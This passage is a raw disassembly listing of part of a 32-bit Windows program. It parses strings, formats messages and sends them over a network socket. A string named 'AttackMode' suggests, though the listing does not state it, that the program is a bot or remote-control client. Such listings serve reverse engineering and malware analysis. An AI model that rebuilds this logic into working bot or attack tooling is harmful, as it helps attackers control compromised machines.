add esp, 8
test esi, esi
mov edi, 3
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov byte [eax], 0
add edi, esi
jmp 0x408db4
push esi
lea ecx, [esp + 0x28]
push str._d__
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [esp + 0x30]
lea eax, [esp + 0x1d4]
push edx
push eax
call ebx
mov esi, eax
add esp, 0x14
test esi, esi
je 0x408dd5
push 0x3e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov byte [eax], 0
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [ecx + esi - 1]
lea edx, [esp + 0x50]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x4c]
push 0
push 0
push 0
push ecx
lea edx, [esp + 0x94]
push 0x3f3
push edx
call fcn.004022e0
lea ebx, [ebp + 0x2410]
push 0x20
lea eax, [esp + 0xa0]
push ebx
push eax
call fcn.00402280
lea edi, [esp + 0x74]
or ecx, 0xffffffff
xor eax, eax
push 0x400
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [ebp + 0x2430]
push ecx
lea ecx, [esp + 0x7c]
push edx
push ecx
call fcn.00401bb0
add esp, 0x34
jmp 0x406de4
mov al, byte [0x40f8a0]
xor ecx, ecx
mov dword [esp + 0x25], ecx
mov byte [esp + 0x24], al
mov dword [esp + 0x29], ecx
mov byte [esp + 0xd8], al
mov byte [esp + 0x2d], cl
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 0xd9]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x1c8]
push 0x40ed5c
push edx
stosb byte es:[edi], al
call ebx
add esp, 8
test eax, eax
jne 0x408ebc
lea eax, [esp + 0x1c8]
push 0x40ed58
push eax
call ebx
add esp, 8
test eax, eax
jne 0x408ebc
lea ecx, [esp + 0x1c8]
push 0x40ed50
push ecx
call ebx
add esp, 8
test eax, eax
jne 0x408ebc
lea edx, [esp + 0x1c8]
push 0x40ed54
push edx
call ebx
add esp, 8
test eax, eax
je 0x408ed6
lea eax, [esp + 0x1c8]
push 0x40ed4c
push eax
call ebx
add esp, 8
test eax, eax
jne 0x40918f
mov esi, dword [sym.imp.MSVCRT.dll_strchr]
lea ecx, [esp + 0x1c8]
push 0x2b
push ecx
call esi
add esp, 8
test eax, eax
jne 0x408f15
lea edx, [esp + 0x1c8]
push 0x2d
push edx
call esi
add esp, 8
test eax, eax
jne 0x408f15
lea eax, [esp + 0x1c8]
push 0x2a
push eax
call esi
add esp, 8
test eax, eax
je 0x408f2c
lea ecx, [esp + 0x1c8]
push 0x3d
push ecx
call esi
add esp, 8
test eax, eax
jne 0x40918f
lea edx, [esp + 0x1c8]
push 0x40e79c
push edx
call ebx
mov edx, eax
add esp, 8
test edx, edx
jne 0x408fdc
lea eax, [esp + 0x1c8]
push 0x40e794
push eax
call ebx
mov edx, eax
add esp, 8
test edx, edx
jne 0x408fdc
lea ecx, [esp + 0x1c8]
push 0x40e78c
push ecx
call ebx
mov edx, eax
add esp, 8
test edx, edx
jne 0x408fdc
lea edx, [esp + 0x1c8]
push 0x40e780
push edx
call ebx
mov edx, eax
add esp, 8
test edx, edx
jne 0x408fdc
lea eax, [esp + 0x1c8]
push 0x40e774
push eax
call ebx
mov edx, eax
add esp, 8
test edx, edx
jne 0x408fdc
lea ecx, [esp + 0x1c8]
push 0x40e768
push ecx
call ebx
mov edx, eax
add esp, 8
test edx, edx
jne 0x408fdc
lea edx, [esp + 0x1c8]
push 0x40e75c
push edx
call ebx
mov edx, eax
add esp, 8
test edx, edx
je 0x409307
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
test ecx, ecx
jle 0x409031
mov al, byte [esi + edx]
cmp al, 0x30
jl 0x409011
cmp al, 0x39
jg 0x409011
mov al, byte [esi + edx + 1]
cmp al, 0x30
jl 0x409011
cmp al, 0x39
jg 0x409011
mov al, byte [esi + edx + 2]
cmp al, 0x30
jl 0x409011
cmp al, 0x39
jle 0x409018
inc esi
cmp esi, ecx
jl 0x408fee
jmp 0x409031
xor ecx, ecx
add edx, esi
mov al, byte [edx]
cmp al, 0x30
jl 0x40902b
cmp al, 0x39
jg 0x40902b
mov byte [esp + ecx + 0x24], al
inc edx
inc ecx
cmp ecx, 0x14
jl 0x40901c
lea eax, [esp + 0x1c8]
push str._________
push eax
call ebx
mov edx, eax
add esp, 8
test edx, edx
je 0x4090a5
sub edx, 0xa
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
test ecx, ecx
jle 0x4090a5
mov bl, byte [eax + edx]
cmp bl, 0x30
jl 0x409085
cmp bl, 0x39
jg 0x409085
mov bl, byte [eax + edx + 1]
cmp bl, 0x30
jl 0x409085
cmp bl, 0x39
jg 0x409085
mov bl, byte [eax + edx + 2]
cmp bl, 0x30
jl 0x409085
cmp bl, 0x39
jle 0x40908c
inc eax
cmp eax, ecx
jl 0x40905c
jmp 0x4090a5
xor ecx, ecx
add edx, eax
mov al, byte [edx]
cmp al, 0x30
jl 0x40909f
cmp al, 0x39
jg 0x40909f
mov byte [esp + ecx + 0x24], al
inc edx
inc ecx
cmp ecx, 0x14
jl 0x409090
lea ecx, [esp + 0x24]
lea edx, [esp + 0x50]
push ecx
push edx
lea eax, [esp + 0xe0]
push str._s_r_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, dword [esp + 0x5c]
push 0
push 0
push 0
push ecx
lea edx, [esp + 0xa4]
push 0x3f3
push edx
call fcn.004022e0
lea ebx, [ebp + 0x2410]
push 0x20
lea eax, [esp + 0xb0]
push ebx
push eax
call fcn.00402280
lea edi, [esp + 0x10c]
or ecx, 0xffffffff
xor eax, eax
push 0x400
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [ebp + 0x2430]
push ecx
lea ecx, [esp + 0x114]
push edx
push ecx
call fcn.00401bb0
mov eax, dword [ebp + 0x2844]
add esp, 0x44
cmp eax, 9
jl 0x40913a
mov dword [ebp + 0x2844], 1
jmp 0x409141
inc eax
mov dword [ebp + 0x2844], eax
mov edx, dword [ebp + 0x2844]
lea eax, [ebp + 0x2430]
push eax
push ebx
lea esi, [ebp + 4]
push edx
push str._d_s_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
mov eax, dword [ebp + 0x2854]
not ecx
dec ecx
push ecx
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
jmp 0x409307
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x50]
push ecx
push edx
lea eax, [esp + 0xe0]
push str._s_r_d
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, dword [esp + 0x5c]
push 0
push 0
push 0
push ecx
lea edx, [esp + 0xa4]
push 0x3f3
push edx
call fcn.004022e0
lea ebx, [ebp + 0x2410]
push 0x20
lea eax, [esp + 0xb0]
push ebx
push eax
call fcn.00402280
lea edi, [esp + 0x10c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x2430]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x400
push ecx
push edx
lea ecx, [esp + 0x118]
jmp 0x406ddb
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
push 0
push 0
lea esi, [ebp + 0x2404]
push 0
push 0xbd6
push esi
call fcn.004022e0
lea ebx, [ebp + 0x2410]
push 0x20
push ebx
push esi
call fcn.00402280
mov eax, dword [ebp + 0x2844]
add esp, 0x24
cmp eax, 9
jl 0x409256
mov dword [ebp + 0x2844], 1
jmp 0x40925d
inc eax
mov dword [ebp + 0x2844], eax
mov ecx, str._AttackMode
test ecx, ecx
je 0x4092af
mov edi, ecx
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x2430]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0x400
push ecx
push edx
push str._AttackMode
call fcn.00401bb0
mov edx, dword [ebp + 0x2844]
add esp, 0x10
lea eax, [ebp + 0x2430]
lea esi, [ebp + 4]
push eax
push ebx
push edx
push str._d_s_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x4092c9
mov eax, dword [ebp + 0x2844]
push ebx
lea esi, [ebp + 4]
push eax
push str._d_s_
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov edx, dword [ebp + 0x2854]
cmp edx, 0xffffffff
je 0x409307
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x409307
mov ecx, dword [ebp + 0x2854]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp + 0x2854], 0xffffffff
mov ecx, dword [esp + 0x21c8]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x21c4
ret 4